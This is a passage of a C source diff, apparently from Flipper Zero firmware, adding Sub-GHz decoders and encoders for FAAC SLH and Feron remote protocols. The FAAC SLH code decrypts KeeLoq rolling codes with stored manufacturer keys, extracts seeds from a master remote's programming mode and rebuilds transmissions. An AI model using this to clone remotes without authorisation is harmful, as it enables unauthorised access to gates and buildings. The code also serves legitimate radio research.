||||
seed_data[3];
|
||||
|
||||
subghz_protocol_faac_slh_check_remote_controller(
|
||||
&instance->generic, instance->keystore, &instance->manufacture_name);
|
||||
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
subghz_protocol_encoder_faac_slh_get_upload(instance);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Key");
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
res = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_faac_slh_stop(void* context) {
|
||||
SubGhzProtocolEncoderFaacSLH* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context) {
|
||||
SubGhzProtocolEncoderFaacSLH* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolDecoderFaacSLH));
|
||||
instance->base.protocol = &subghz_protocol_faac_slh;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->keystore = subghz_environment_get_keystore(environment);
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_faac_slh_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_faac_slh_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FaacSLHDecoderStepReset:
|
||||
if((level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
|
||||
subghz_protocol_faac_slh_const.te_delta * 3)) {
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
|
||||
}
|
||||
break;
|
||||
case FaacSLHDecoderStepFoundPreambula:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
|
||||
subghz_protocol_faac_slh_const.te_delta * 3)) {
|
||||
//Found Preambula
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case FaacSLHDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
if(duration >= ((uint32_t)subghz_protocol_faac_slh_const.te_short * 3 +
|
||||
subghz_protocol_faac_slh_const.te_delta)) {
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_faac_slh_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
break;
|
||||
} else {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepCheckDuration;
|
||||
}
|
||||
|
||||
} else {
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case FaacSLHDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_short) <
|
||||
subghz_protocol_faac_slh_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long) <
|
||||
subghz_protocol_faac_slh_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_long) <
|
||||
subghz_protocol_faac_slh_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_short) <
|
||||
subghz_protocol_faac_slh_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = FaacSLHDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
* @param keystore Pointer to a SubGhzKeystore* instance
|
||||
* @param manifacture_name Manufacturer name
|
||||
*/
|
||||
static void subghz_protocol_faac_slh_check_remote_controller(
|
||||
SubGhzBlockGeneric* instance,
|
||||
SubGhzKeystore* keystore,
|
||||
const char** manufacture_name) {
|
||||
uint32_t code_fix = instance->data >> 32;
|
||||
uint32_t code_hop = instance->data & 0xFFFFFFFF;
|
||||
uint32_t decrypt = 0;
|
||||
uint64_t man;
|
||||
|
||||
// TODO: Stupid bypass for custom button, remake later
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(0xF);
|
||||
}
|
||||
|
||||
subghz_custom_btn_set_max(1);
|
||||
|
||||
uint8_t data_tmp = 0;
|
||||
uint8_t data_prg[8];
|
||||
data_prg[0] = (code_hop & 0xFF);
|
||||
data_prg[1] = ((code_hop >> 8) & 0xFF);
|
||||
data_prg[2] = ((code_hop >> 16) & 0xFF);
|
||||
data_prg[3] = (code_hop >> 24);
|
||||
data_prg[4] = (code_fix & 0xFF);
|
||||
data_prg[5] = ((code_fix >> 8) & 0xFF);
|
||||
data_prg[6] = ((code_fix >> 16) & 0xFF);
|
||||
data_prg[7] = (code_fix >> 24);
|
||||
|
||||
if(((data_prg[7] == 0x52) && (data_prg[6] == 0x0F) && (data_prg[0] == 0x00))) {
|
||||
faac_prog_mode = true;
|
||||
// ProgMode ON
|
||||
for(uint8_t i = data_prg[1] & 0xF; i != 0; i--) {
|
||||
data_tmp = data_prg[2];
|
||||
|
||||
data_prg[2] = data_prg[2] >> 1 | (data_prg[3] & 1) << 7;
|
||||
data_prg[3] = data_prg[3] >> 1 | (data_prg[4] & 1) << 7;
|
||||
data_prg[4] = data_prg[4] >> 1 | (data_prg[5] & 1) << 7;
|
||||
data_prg[5] = data_prg[5] >> 1 | (data_tmp & 1) << 7;
|
||||
}
|
||||
data_prg[2] ^= data_prg[1];
|
||||
data_prg[3] ^= data_prg[1];
|
||||
data_prg[4] ^= data_prg[1];
|
||||
data_prg[5] ^= data_prg[1];
|
||||
instance->seed = data_prg[5] << 24 | data_prg[4] << 16 | data_prg[3] << 8 | data_prg[2];
|
||||
uint32_t dec_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
|
||||
data_prg[4];
|
||||
uint32_t dec_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
|
||||
data_prg[0];
|
||||
instance->data_2 = (uint64_t)dec_prg_1 << 32 | dec_prg_2;
|
||||
instance->cnt = data_prg[1];
|
||||
|
||||
*manufacture_name = "FAAC_SLH";
|
||||
return;
|
||||
} else {
|
||||
if(code_fix != 0x0) {
|
||||
temp_fix_backup = code_fix;
|
||||
instance->serial = code_fix >> 4;
|
||||
instance->btn = code_fix & 0xF;
|
||||
}
|
||||
|
||||
faac_prog_mode = false;
|
||||
}
|
||||
|
||||
for
|
||||
M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
|
||||
switch(manufacture_code->type) {
|
||||
case KEELOQ_LEARNING_FAAC:
|
||||
// FAAC Learning
|
||||
man = subghz_protocol_keeloq_common_faac_learning(
|
||||
instance->seed, manufacture_code->key);
|
||||
decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man);
|
||||
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
instance->cnt = decrypt & 0xFFFFF;
|
||||
// Backup counter in case when we need to use programming mode
|
||||
if(code_fix != 0x0) {
|
||||
temp_counter_backup = instance->cnt;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
|
||||
// Reset seed leftover from previous decoded signal
|
||||
instance->generic.seed = 0x0;
|
||||
temp_fix_backup = 0x0;
|
||||
|
||||
SubGhzProtocolStatus res =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
uint8_t seed_data[sizeof(uint32_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint32_t); i++) {
|
||||
seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
|
||||
}
|
||||
if((res == SubGhzProtocolStatusOk) &&
|
||||
!flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Seed");
|
||||
res = SubGhzProtocolStatusError;
|
||||
}
|
||||
instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
|
||||
seed_data[3];
|
||||
|
||||
subghz_protocol_faac_slh_check_remote_controller(
|
||||
&instance->generic, instance->keystore, &instance->manufacture_name);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
if(SubGhzProtocolStatusOk !=
|
||||
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
if(instance->generic.data_count_bit !=
|
||||
subghz_protocol_faac_slh_const.min_count_bit_for_found) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t seed_data[sizeof(uint32_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint32_t); i++) {
|
||||
seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
|
||||
FURI_LOG_E(TAG, "Missing Seed");
|
||||
break;
|
||||
}
|
||||
bool tmp_allow_zero_seed;
|
||||
if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
|
||||
allow_zero_seed = true;
|
||||
} else {
|
||||
allow_zero_seed = false;
|
||||
}
|
||||
instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
|
||||
seed_data[3];
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
res = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFaacSLH* instance = context;
|
||||
subghz_protocol_faac_slh_check_remote_controller(
|
||||
&instance->generic, instance->keystore, &instance->manufacture_name);
|
||||
uint32_t code_fix = instance->generic.data >> 32;
|
||||
uint32_t code_hop = instance->generic.data & 0xFFFFFFFF;
|
||||
|
||||
if(faac_prog_mode == true) {
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Master Remote Prog Mode\r\n"
|
||||
"Ke:%lX%08lX\r\n"
|
||||
"Kd:%lX%08lX\r\n"
|
||||
"Seed:%08lX mCnt:%02X",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data >> 32),
|
||||
(uint32_t)instance->generic.data,
|
||||
(uint32_t)(instance->generic.data_2 >> 32),
|
||||
(uint32_t)instance->generic.data_2,
|
||||
instance->generic.seed,
|
||||
(uint8_t)(instance->generic.cnt & 0xFF));
|
||||
} else if((allow_zero_seed == false) && (instance->generic.seed == 0x0)) {
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = true;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 4;
|
||||
//
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%lX%08lX\r\n"
|
||||
"Fix:%08lX\r\n"
|
||||
"Hop:%08lX Btn:%X\r\n"
|
||||
"Sn:%07lX Sd:Unknown",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data >> 32),
|
||||
(uint32_t)instance->generic.data,
|
||||
code_fix,
|
||||
code_hop,
|
||||
instance->generic.btn,
|
||||
instance->generic.serial);
|
||||
} else {
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.cnt_is_available = true;
|
||||
subghz_block_generic_global.cnt_length_bit = 20;
|
||||
subghz_block_generic_global.current_cnt = instance->generic.cnt;
|
||||
|
||||
subghz_block_generic_global.btn_is_available = true;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 4;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%lX%08lX\r\n"
|
||||
"Fix:%08lX Cnt:%05lX\r\n"
|
||||
"Hop:%08lX Btn:%X\r\n"
|
||||
"Sn:%07lX Sd:%08lX",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data >> 32),
|
||||
(uint32_t)instance->generic.data,
|
||||
code_fix,
|
||||
instance->generic.cnt,
|
||||
code_hop,
|
||||
instance->generic.btn,
|
||||
instance->generic.serial,
|
||||
instance->generic.seed);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_FAAC_SLH_NAME "Faac SLH"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderFaacSLH SubGhzProtocolDecoderFaacSLH;
|
||||
typedef struct SubGhzProtocolEncoderFaacSLH SubGhzProtocolEncoderFaacSLH;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_faac_slh;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderFaacSLH.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderFaacSLH* pointer to a SubGhzProtocolEncoderFaacSLH instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderFaacSLH.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
|
||||
*/
|
||||
void subghz_protocol_encoder_faac_slh_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return true On success
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
|
||||
*/
|
||||
void subghz_protocol_encoder_faac_slh_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderFaacSLH.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderFaacSLH* pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderFaacSLH.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
*/
|
||||
void subghz_protocol_decoder_faac_slh_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderFaacSLH.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
*/
|
||||
void subghz_protocol_decoder_faac_slh_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderFaacSLH.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderFaacSLH.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderFaacSLH instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_faac_slh_get_string(void* context, FuriString* output);
|
||||
|
||||
// Reset prog mode vars
|
||||
// TODO: Remake in proper way
|
||||
void faac_slh_reset_prog_mode(void);
|
||||
@@ -0,0 +1,351 @@
|
||||
#include "feron.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolFeron"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_feron_const = {
|
||||
.te_short = 350,
|
||||
.te_long = 750,
|
||||
.te_delta = 150,
|
||||
.min_count_bit_for_found = 32,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderFeron {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderFeron {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
FeronDecoderStepReset = 0,
|
||||
FeronDecoderStepSaveDuration,
|
||||
FeronDecoderStepCheckDuration,
|
||||
} FeronDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_feron_decoder = {
|
||||
.alloc = subghz_protocol_decoder_feron_alloc,
|
||||
.free = subghz_protocol_decoder_feron_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_feron_feed,
|
||||
.reset = subghz_protocol_decoder_feron_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_feron_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_feron_serialize,
|
||||
.deserialize = subghz_protocol_decoder_feron_deserialize,
|
||||
.get_string = subghz_protocol_decoder_feron_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_feron_encoder = {
|
||||
.alloc = subghz_protocol_encoder_feron_alloc,
|
||||
.free = subghz_protocol_encoder_feron_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_feron_deserialize,
|
||||
.stop = subghz_protocol_encoder_feron_stop,
|
||||
.yield = subghz_protocol_encoder_feron_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_feron = {
|
||||
.name = SUBGHZ_PROTOCOL_FERON_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
|
||||
SubGhzProtocolFlag_Sensors,
|
||||
|
||||
.decoder = &subghz_protocol_feron_decoder,
|
||||
.encoder = &subghz_protocol_feron_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_feron_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderFeron* instance = malloc(sizeof(SubGhzProtocolEncoderFeron));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_feron;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 256;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_feron_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFeron* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderFeron instance
|
||||
*/
|
||||
static void subghz_protocol_encoder_feron_get_upload(SubGhzProtocolEncoderFeron* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
|
||||
// Send key and GAP
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
// Send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_long);
|
||||
if(i == 1) {
|
||||
//Send 500/500 and gap if bit was last
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
|
||||
// Gap
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_short);
|
||||
}
|
||||
} else {
|
||||
// Send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_feron_const.te_short);
|
||||
if(i == 1) {
|
||||
//Send 500/500 and gap if bit was last
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false, (uint32_t)subghz_protocol_feron_const.te_short + 150);
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
true, (uint32_t)subghz_protocol_feron_const.te_short + 150);
|
||||
// Gap
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long * 6);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_feron_const.te_long);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_feron_check_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
instance->serial = instance->data >> 16;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_feron_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFeron* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_feron_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
subghz_protocol_feron_check_remote_controller(&instance->generic);
|
||||
subghz_protocol_encoder_feron_get_upload(instance);
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_feron_stop(void* context) {
|
||||
SubGhzProtocolEncoderFeron* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_feron_yield(void* context) {
|
||||
SubGhzProtocolEncoderFeron* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_feron_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderFeron* instance = malloc(sizeof(SubGhzProtocolDecoderFeron));
|
||||
instance->base.protocol = &subghz_protocol_feron;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_feron_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFeron* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_feron_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderFeron* instance = context;
|
||||
instance->decoder.parser_step = FeronDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_feron_feed(void* context, bool level, volatile uint32_t duration) {
|
||||
furi_assert(context);
|
||||
